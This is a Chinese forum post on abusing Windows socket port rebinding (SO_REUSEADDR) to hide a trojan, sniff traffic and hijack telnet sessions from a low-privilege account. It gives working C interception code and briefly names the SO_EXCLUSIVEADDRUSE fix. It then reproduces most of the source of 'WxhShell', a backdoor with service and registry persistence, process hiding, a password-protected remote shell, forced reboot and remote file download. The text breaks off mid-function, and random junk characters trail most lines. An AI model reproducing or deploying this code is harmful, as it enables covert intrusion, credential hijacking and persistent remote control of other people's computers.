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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %xr'96d  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o`G6!  
cg_ " }]Y1  
  saddr.sin_family = AF_INET; m_.9 PZ  
5zh6l+S[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >@Pw{Zh$  
2|ej~}Y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); R+z'6&/ =I  
xojt s;n   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 s\<UDW  
',/#|  
  这意味着什么?意味着可以进行如下的攻击: 6TTu[*0NT  
rT\~VJ>+i  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 'n=bQ"bQu  
~!=Am:-wr  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /GX>L)  
\Zh&[D!2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (E7"GJ  
~`="tzr:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @,7r<6E  
u80C>sQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?|WoNA~j}`  
dm]g:KWg  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Hpa6; eT  
ycSGv4 )  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 K^o{lyK;@~  
-2!S>P Zs  
  #include 5gV,^[E-z  
  #include ` &bF@$((  
  #include _>n)HG  
  #include    'n>44_7L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   mZc;n.$U  
  int main() .dVV# H  
  { lJN#_V0qW  
  WORD wVersionRequested; 0|J9Btbp  
  DWORD ret; )+|wrK:*v  
  WSADATA wsaData; i/I  
  BOOL val; U;TS7A3  
  SOCKADDR_IN saddr; :*BN>*1^\r  
  SOCKADDR_IN scaddr; H }]Zp  
  int err; 6 rj iZ%  
  SOCKET s; ,A7:zxnc.V  
  SOCKET sc; he/rt#  
  int caddsize; n1 GX` K  
  HANDLE mt; @ *~yVV!5  
  DWORD tid;   i7PS=]TK\  
  wVersionRequested = MAKEWORD( 2, 2 ); ' `c \Dq  
  err = WSAStartup( wVersionRequested, &wsaData ); R9^vAS4t[O  
  if ( err != 0 ) { &bfM`h'  
  printf("error!WSAStartup failed!\n"); XR9kxTuk  
  return -1; [W{|94q  
  } ("PZ!z1m1  
  saddr.sin_family = AF_INET; aMGh$\Pg  
   ky]^N)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 rp dv{CUp7  
j>?nL~{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =,q/FY:  
  saddr.sin_port = htons(23); Q]GS#n  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ws1|idAT  
  { Gey-8  
  printf("error!socket failed!\n"); \p( 0H6  
  return -1; sC[#R.eq  
  } u/wX7s   
  val = TRUE; IKnf  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "~EAt$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <dE~z]P  
  { : UH*Wft1  
  printf("error!setsockopt failed!\n"); K3h];F! ^  
  return -1; 9z{}DBA  
  } ~,};FI  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +PLJ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 w5s&Ws  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8YE4ln  
|oSt%l Q1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2-qWR<E  
  { /6[vF)&  
  ret=GetLastError(); !Sy9v  
  printf("error!bind failed!\n"); roAHkI  
  return -1; 1I'}Uh*  
  } |}e"6e%  
  listen(s,2); R\n@q_!`X  
  while(1) W7~_XI  
  { Gdx %#@/  
  caddsize = sizeof(scaddr); z=>PjIW  
  //接受连接请求 c[X6!_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); yB *aG  
  if(sc!=INVALID_SOCKET) ;,TT!vea  
  { _C1u}1hW#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); g(s}R ?  
  if(mt==NULL) XPq`; <G  
  { 2uY:p=DxG9  
  printf("Thread Creat Failed!\n"); ak3WER|f#  
  break; ZJGIib  
  } H&F2[j$T  
  } j!Ys/ D  
  CloseHandle(mt); *kF/yN  
  } ~e,K  
  closesocket(s); V_v+i c^  
  WSACleanup(); HlkjyD8  
  return 0; OEbZs-:  
  }   R*W1<W%q=  
  DWORD WINAPI ClientThread(LPVOID lpParam) L:lnm9<  
  { e*( _Cvxp  
  SOCKET ss = (SOCKET)lpParam; _3f/lG?&-  
  SOCKET sc; em^2\*sxpA  
  unsigned char buf[4096]; JPT&!%~  
  SOCKADDR_IN saddr; yfFe%8w_vw  
  long num; w8>bct3@  
  DWORD val; ?W?n l:F  
  DWORD ret; MfLus40;n  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (lYC2i_b#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _Bn8i(  
  saddr.sin_family = AF_INET; hdM?Uoo(4a  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #vBSg  
  saddr.sin_port = htons(23); uSC I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1_}k)(n  
  { x5U;i  
  printf("error!socket failed!\n"); J[K>)@I/  
  return -1; 7#*O|t/'  
  } ={190=\9  
  val = 100; \4*i;a.kU  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t `\l+L  
  { .J5or  
  ret = GetLastError(); S|@ Y !  
  return -1; KHaYb5(a[  
  } :NH '>'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Pc~)4>X<  
  { Qej<(:J5  
  ret = GetLastError(); 0b,{4DOD  
  return -1; &hhxp1B  
  } WPu%{/ [  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?* dfIc  
  { *;.:UR[i  
  printf("error!socket connect failed!\n"); ?nR$>a`  
  closesocket(sc); D%'rq  
  closesocket(ss); 0R,Y[).U  
  return -1; 5hiuBf<  
  } &gm/@_  
  while(1) UZc{ Av  
  { 1 7hXg"B  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Rmh,P>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 D2#.qoP #  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )#cGeP A  
  num = recv(ss,buf,4096,0); !P_'n  
  if(num>0) QlxlT$o}  
  send(sc,buf,num,0); EmcwX4|  
  else if(num==0) l)1ySX&BU  
  break; @L^30>?l  
  num = recv(sc,buf,4096,0); !r0 z3^*N  
  if(num>0) ;|K(6)  
  send(ss,buf,num,0); W}oAgUd  
  else if(num==0) fbW#6:Y  
  break; NslaG  
  } m=I A/HOR^  
  closesocket(ss); &$NVEmW-J  
  closesocket(sc); nHL(v  
  return 0 ; 9DmQ  
  } }EHmVPe  
gLv";"4S  
3gmu-t v  
========================================================== iW <B1'dp  
;0\  
下边附上一个代码,,WXhSHELL !Lj+&D|z  
-zL xT  
========================================================== \LW '6 pQ_  
nbz?D_  
#include "stdafx.h" "7a;Ap q*  
~x}=lKN  
#include <stdio.h> &+t,fwlM  
#include <string.h> "Mmvf'N  
#include <windows.h> Y3I+TI>x  
#include <winsock2.h> %7rWebd-  
#include <winsvc.h> )Ikx0vDFQ  
#include <urlmon.h> e c`3Qw  
(@?PN+68|  
#pragma comment (lib, "Ws2_32.lib") )zVD!eG_9  
#pragma comment (lib, "urlmon.lib") EGyQ hZ mO  
f8 M=P.jz  
#define MAX_USER   100 // 最大客户端连接数 mYzq[p_|j  
#define BUF_SOCK   200 // sock buffer ve / Q6j{  
#define KEY_BUFF   255 // 输入 buffer 8aD4 wc  
';!02=-@  
#define REBOOT     0   // 重启 Ey u?T  
#define SHUTDOWN   1   // 关机 8V3SZ17  
Si]8*>}-B  
#define DEF_PORT   5000 // 监听端口 hzc2c.gcF  
iwfv t^  
#define REG_LEN     16   // 注册表键长度 =X2EF  
#define SVC_LEN     80   // NT服务名长度 %+9Mr ami  
u]ZCYJ>  
// 从dll定义API [0} ^w[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dDy9yw%f?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CtA0W\9w5a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >g6:{-b^a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HtIM8z#/  
(byFr9z  
// wxhshell配置信息 dYJW`Q;j.|  
struct WSCFG { ^YKEc0"w(  
  int ws_port;         // 监听端口 u<\/T&S  
  char ws_passstr[REG_LEN]; // 口令 8\t~ *@"  
  int ws_autoins;       // 安装标记, 1=yes 0=no |k> _ jO  
  char ws_regname[REG_LEN]; // 注册表键名 *Oo2rk nQ  
  char ws_svcname[REG_LEN]; // 服务名 W!z=AL{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qgU$0enSs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /'}O-h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SVaC)O(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c0jC84*v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :\48=>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z.pP~he  
r/fLm8+  
}; Ohnd:8E  
? S>"yAoe  
// default Wxhshell configuration 7WW@%4(  
struct WSCFG wscfg={DEF_PORT, (J~n|hA2/D  
    "xuhuanlingzhe", (~N &ov  
    1, 2rf-pdOvG  
    "Wxhshell", N/mTG2'<  
    "Wxhshell", Rg,pC.7;  
            "WxhShell Service", $ T.c>13  
    "Wrsky Windows CmdShell Service", 3ePG=^K^  
    "Please Input Your Password: ", ED @9,W0  
  1, =\?KC)F*e  
  "http://www.wrsky.com/wxhshell.exe", <`b)56v:+  
  "Wxhshell.exe" /e6\F7  
    }; 9dr\=e6) C  
{o4m3[C7=}  
// 消息定义模块 zVYX#- nv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kl_JJX6jPP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?x"<0k1g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tD.md _E  
char *msg_ws_ext="\n\rExit."; kA{[k  
char *msg_ws_end="\n\rQuit."; ;dNKe.`Dg  
char *msg_ws_boot="\n\rReboot..."; [&y{z-D>  
char *msg_ws_poff="\n\rShutdown..."; 4}Y2 B$  
char *msg_ws_down="\n\rSave to "; a8FC#kfq  
} O8|_d  
char *msg_ws_err="\n\rErr!"; :a R&t#<"E  
char *msg_ws_ok="\n\rOK!"; G@ XKE17  
>Q#_<IcI  
char ExeFile[MAX_PATH]; Oj6-  
int nUser = 0; b'4{l[3~nl  
HANDLE handles[MAX_USER]; g>A*kY  
int OsIsNt; 5\V>Sj(  
oEd+  
SERVICE_STATUS       serviceStatus; 7 /w)^&8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Jc"xH~,  
<T+)~&g$  
// 函数声明 J1T_wA_  
int Install(void); /\V-1 7-  
int Uninstall(void); Lqb9gUJ:U  
int DownloadFile(char *sURL, SOCKET wsh); K2<"O qp_W  
int Boot(int flag); U6e 0{n  
void HideProc(void); UmcPpZ  
int GetOsVer(void); @k>}h\w  
int Wxhshell(SOCKET wsl); /qa{*"2Qo  
void TalkWithClient(void *cs); J wL}|o6  
int CmdShell(SOCKET sock); lM~ 3yBy  
int StartFromService(void); Z1 %"w*U  
int StartWxhshell(LPSTR lpCmdLine); _8Cw_  
)-%3;e<w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X?&(i s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =VFi}C/  
?55t0  
// 数据结构和表定义 jT>G8}h  
SERVICE_TABLE_ENTRY DispatchTable[] = ^<49NUB>  
{ ul$k xc=N  
{wscfg.ws_svcname, NTServiceMain}, ZxLdh8v.  
{NULL, NULL} Z:9xf:g *  
}; CT,PQ  
\9j +ejGf  
// 自我安装 ^S:S[0\,  
int Install(void) gb+iy$o-  
{ `Y>'*4a\  
  char svExeFile[MAX_PATH]; q{T [|(!  
  HKEY key; [qbZp1s|(  
  strcpy(svExeFile,ExeFile); |LhVANz  
B;x5os  
// 如果是win9x系统,修改注册表设为自启动 n-zAkKM  
if(!OsIsNt) { E><$sN6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >-U'mkIH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pGz 5!d  
  RegCloseKey(key); *\Z9=8yK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \#Md3!MG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >NLG"[\  
  RegCloseKey(key); 6S K;1Bp-{  
  return 0; hOFC8g  
    } Z p8\n:  
  } S$#"bK/p^  
} 'Ur1I "  
else { pmda9V4  
WH|TdU$V  
// 如果是NT以上系统,安装为系统服务 kU :ge  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wwh1aV *  
if (schSCManager!=0) Wo)$*?  
{ #aI(fQZe  
  SC_HANDLE schService = CreateService 7R5m|h`M  
  ( Q1kZ+b&  
  schSCManager, Fnqj^5  
  wscfg.ws_svcname, ^wass_8  
  wscfg.ws_svcdisp, -gn!8G1  
  SERVICE_ALL_ACCESS, UHyGW$B  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K HyVI6N[  
  SERVICE_AUTO_START, } H#C<:A  
  SERVICE_ERROR_NORMAL, Q|KD$2rB  
  svExeFile, ;Mw<{X-  
  NULL, <C1w?d$9I  
  NULL, ]S0=&x@,  
  NULL, h`i*~${yg  
  NULL, B:)PUBb  
  NULL oUl0w~Xn  
  ); rX(Ol,&oP  
  if (schService!=0) 8|JPQDS7  
  { pk8`suZ  
  CloseServiceHandle(schService); - +<ai  
  CloseServiceHandle(schSCManager); ]ZR}Pm/CA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J,G/L!Bp  
  strcat(svExeFile,wscfg.ws_svcname); mX2X.ww(4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q}P UwN6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4 :phq  
  RegCloseKey(key); \B4f5 L8k  
  return 0; y$Fk0s*>  
    } C>A} e6o  
  } Z-j?N{3&  
  CloseServiceHandle(schSCManager); GvzaLEo  
} fJ  GwT  
} _U|rTil  
l&|Tb8_'  
return 1; %MCJ%Ph  
} 63`5A3rii  
(I/ZI'Ydy  
// 自我卸载 :jAsm[  
int Uninstall(void) zYxA#TZL  
{ s .@Szq  
  HKEY key; g#Z7ReMw  
q*K[?  
if(!OsIsNt) { FM=XoMP q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }0Q T5   
  RegDeleteValue(key,wscfg.ws_regname); FKtG  
  RegCloseKey(key); }S"qU]>8a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !5qV}5  
  RegDeleteValue(key,wscfg.ws_regname); 00LL&ot  
  RegCloseKey(key); ^S`N\X  
  return 0; "#:h#uRUb  
  } ov5g`uud  
} ki'<qa  
} 5g`J}@"k  
else { HBNX a  
VtzBYza  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aI>F8R?  
if (schSCManager!=0) } rX)A\ g6  
{ SmS6B5j\R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9!PM1<p  
  if (schService!=0) 8M0<:p/  
  { Rzyaicj^c  
  if(DeleteService(schService)!=0) { ]|N"jr?7H  
  CloseServiceHandle(schService); {`Z= LLL  
  CloseServiceHandle(schSCManager); E#A}2|7,g  
  return 0; KGf@d*ZOMz  
  } 6FX]b4  
  CloseServiceHandle(schService); </B:Zjn  
  } dP<i/@21Wm  
  CloseServiceHandle(schSCManager); tiy#b8  
} k~2FlRoC^  
} ~<}?pDA}~  
Ld'3uM/  
return 1; aI;fNy /K  
} u`XZtF<vf  
g2vt(Gf;  
// 从指定url下载文件 ?es9j]  
int DownloadFile(char *sURL, SOCKET wsh) BwYR"  
{ *c( J4  
  HRESULT hr; djn<Oc`  
char seps[]= "/"; #4AqWyp#f  
char *token; x}f)P  
char *file; -aDBdZ;y  
char myURL[MAX_PATH]; iA4VT,  
char myFILE[MAX_PATH]; {M23a _t\  
- v=ndJ.  
strcpy(myURL,sURL); ;T<'GP'/r  
  token=strtok(myURL,seps); #UnGU,J  
  while(token!=NULL) {;38&Izwz  
  { qvs[Gkaa@  
    file=token; &!*p>Ns)e  
  token=strtok(NULL,seps); V.!z9AQ  
  } R_IT${O  
0a+U >S#  
GetCurrentDirectory(MAX_PATH,myFILE); v){X&HbP  
strcat(myFILE, "\\"); "77l~3  
strcat(myFILE, file); km}E&ao  
  send(wsh,myFILE,strlen(myFILE),0); b:&= W>r  
send(wsh,"...",3,0); O_D;_v6Ii+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bR=TGL&  
  if(hr==S_OK) L @8[.  
return 0; g:>dF#  
else S3dcE"hg  
return 1; 5?TjuGc  
VKr oikz@]  
} hw&~OJeo  
U6M&7 l8  
// 系统电源模块 Bn Nu/02.=  
int Boot(int flag) a]x\e{  
{ A:?w1"7gT  
  HANDLE hToken; z\<gm$1CB  
  TOKEN_PRIVILEGES tkp; .a|ROjd!  
a@-!,Hi  
  if(OsIsNt) { 1gH>B5`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f q*V76F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3UGdXufw  
    tkp.PrivilegeCount = 1; 4hV~ ir  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {"^#CSi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D]Gt=2\NG9  
if(flag==REBOOT) { `{\10j*B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m6 a @Y<  
  return 0; I\VC2U  
} Q#I?nBin  
else { 7/Mhz{o;W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SG3qNM: g  
  return 0; {q BbzBG  
} jF%l\$)/  
  } !'%`g,,r  
  else { y7#vH<  
if(flag==REBOOT) { 9,Ug  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q*{Dy1Tj  
  return 0; +tFl  
} 2<+9lk  
else { w77"?kJ9X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,xIWyI.  
  return 0; btU:=6  
} 6V c&g  
} 2;=xH t  
V|bN<BYJ  
return 1; [y$sJF7;I  
} ?!kPW^gD  
0~j0x#  
// win9x进程隐藏模块 . xdSUe  
void HideProc(void) EXYr_$gRs  
{ !`#xFRHe  
fRd^@@,[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tsu Mt  
  if ( hKernel != NULL ) nc.X+dx:  
  { +eD+Z.{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K ZSvT{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \LpR7D  
    FreeLibrary(hKernel); Q#rj>+?  
  } 2N:|BO>  
}e*OprF  
return; o Kfm=TbY  
} ];1Mg  
V}kQXz"9  
// 获取操作系统版本 ri k0F  
int GetOsVer(void) qA6;Q$  
{ nB1[OB{  
  OSVERSIONINFO winfo; .d>TU bR;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G\1\L*+0  
  GetVersionEx(&winfo); %^$7z,>;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3@/\j^U  
  return 1; ? @Y'_f  
  else Vyqj)1Z8>  
  return 0; |B;tv#mKD  
} t\$P*_  
Yq?FiE0  
// 客户端句柄模块 k*3F7']8  
int Wxhshell(SOCKET wsl) +bw>9VmG  
{ vC9Qe ]f  
  SOCKET wsh; RrGFGn{  
  struct sockaddr_in client; JXIxk"m  
  DWORD myID; #r}O =izi  
\'gb{JO  
  while(nUser<MAX_USER) zFqlTUD`t  
{ j%m9y_rg}  
  int nSize=sizeof(client); AD=vYDR+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w+NdEE4H9z  
  if(wsh==INVALID_SOCKET) return 1; %|:Gn)8  
5QR=$?K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Pu=,L#+FN  
if(handles[nUser]==0) 8AK=FX&@&  
  closesocket(wsh); {T^"`%[   
else ST#MCh-00  
  nUser++; B8Cic\2  
  } u._B7R&>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oWu2}#~z_  
;p !|E3o.  
  return 0; i*We kr3Wo  
} /7 CF f&4  
?9E shw2  
// 关闭 socket y\Z$8'E5W  
void CloseIt(SOCKET wsh) IezOal  
{ 9Q<8DMX^  
closesocket(wsh); \<}4D\qz  
nUser--; pu:Ie#xTDf  
ExitThread(0); Vy:I[@6@+  
} LX [_6  
^]&uMkPN  
// 客户端请求句柄 \pXs&}%1,F  
void TalkWithClient(void *cs) ETw7/S${  
{ $?.0>0 ,<  
"%o,P/<X  
  SOCKET wsh=(SOCKET)cs; ADTx _tE  
  char pwd[SVC_LEN]; G,#]`W@qhK  
  char cmd[KEY_BUFF]; Uq:WW1=kh  
char chr[1]; 4&}V3"lg  
int i,j; IMKyFp]h-  
Tq\S-K}4!  
  while (nUser < MAX_USER) { UE-<  
 `UC  
if(wscfg.ws_passstr) { ;"}yVV/4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i'w8Li  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u3"0K['3  
  //ZeroMemory(pwd,KEY_BUFF); =6XJr7Ay8u  
      i=0; 5r*5Co+  
  while(i<SVC_LEN) { JnW G_|m)  
_GoV\wGKl  
  // 设置超时 _2eRH@T  
  fd_set FdRead; [Eeanl&x>  
  struct timeval TimeOut; 'pCZx9 *c  
  FD_ZERO(&FdRead); $pV:)N4  
  FD_SET(wsh,&FdRead); {XHAQ9'  
  TimeOut.tv_sec=8; /s@t-gTi  
  TimeOut.tv_usec=0; 7$;#-l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -C]k YQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S}O>@ %  
$pKlF0 .  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !cLdoX  
  pwd=chr[0]; $+ z 3  
  if(chr[0]==0xd || chr[0]==0xa) { WpPm|h  
  pwd=0; (i1 JDe  
  break; ($Cy-p  
  } BBV"nm_(/  
  i++; R`[jkJrc  
    } Nl4,c[$C  
?QDHEC62  
  // 如果是非法用户,关闭 socket #?OJ9pyG'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L}~"R/iWCT  
} B0h|Y.S8%1  
Vu0d\l^$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !lVOZ %  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RP@U0o  
86*9GS?U(  
while(1) { S55h}5Y  
6'{/Ote  
  ZeroMemory(cmd,KEY_BUFF); Fy; sVB  
IP LKOT~  
      // 自动支持客户端 telnet标准   ~ u)} /  
  j=0; V-{3)6I$hG  
  while(j<KEY_BUFF) { ^n?`l ^9c$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h SeXxSb:  
  cmd[j]=chr[0]; 4. =jKj9j  
  if(chr[0]==0xa || chr[0]==0xd) { K2XRKoG  
  cmd[j]=0; kxanzsSr9  
  break; X[ 6#J  
  } ]<3n;*8k?  
  j++; afw`Heaa2(  
    } 4'+g/i1S F  
3 T1,:r  
  // 下载文件 9\zasa  
  if(strstr(cmd,"http://")) { K7 J RCLA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S-f .NC}:i  
  if(DownloadFile(cmd,wsh)) gW5yLb_Vz$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VMee"'08  
  else t]CA!i`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {;L,|(o^  
  } y}F;~H~P  
  else { YYN'LF#j  
H|IG"JB  
    switch(cmd[0]) { 4,P(w+  
  1K UM!DUD  
  // 帮助 I}jem  
  case '?': { 45,):U5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g5C$#<28  
    break; +n%d,Pz  
  } /V {1Zw=  
  // 安装 J2Mq1*Vpq  
  case 'i': { O**~ Tj  
    if(Install()) uq2C|=M-x\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oj(st{,  
    else :O'QL,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (e_z*o)\T  
    break; B1V+CP3t  
    } ^@C/2RX!  
  // 卸载 #`ZBA>FLaQ  
  case 'r': { |ms.  
    if(Uninstall()) b/w5K2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I&6M{,rnM  
    else *iN5/w{VG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;nx.:f  
    break; 8wrO64_NO  
    } ICEyz| C  
  // 显示 wxhshell 所在路径 OQIr"  
  case 'p': { +MqJJuWB  
    char svExeFile[MAX_PATH]; p'0X>>$  
    strcpy(svExeFile,"\n\r"); 2 :4o`o  
      strcat(svExeFile,ExeFile); Ou4 `#7FR  
        send(wsh,svExeFile,strlen(svExeFile),0); >WA'/Sl<A<  
    break; 5WA:gygB&  
    } FHSFH>  
  // 重启 va:<W H  
  case 'b': { 6V"u ovN2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =A*a9c2  
    if(Boot(REBOOT)) ~.4y* &  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qg/FI#r  
    else { *b_Iby-ZD  
    closesocket(wsh); "L;@qCfhO  
    ExitThread(0); WD_{bd)  
    } 'd|!Hr<2  
    break; dC;&X g`  
    } w59q* 2  
  // 关机 DK?Z   
  case 'd': { /1p5KVTKv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *fs[]q'Q  
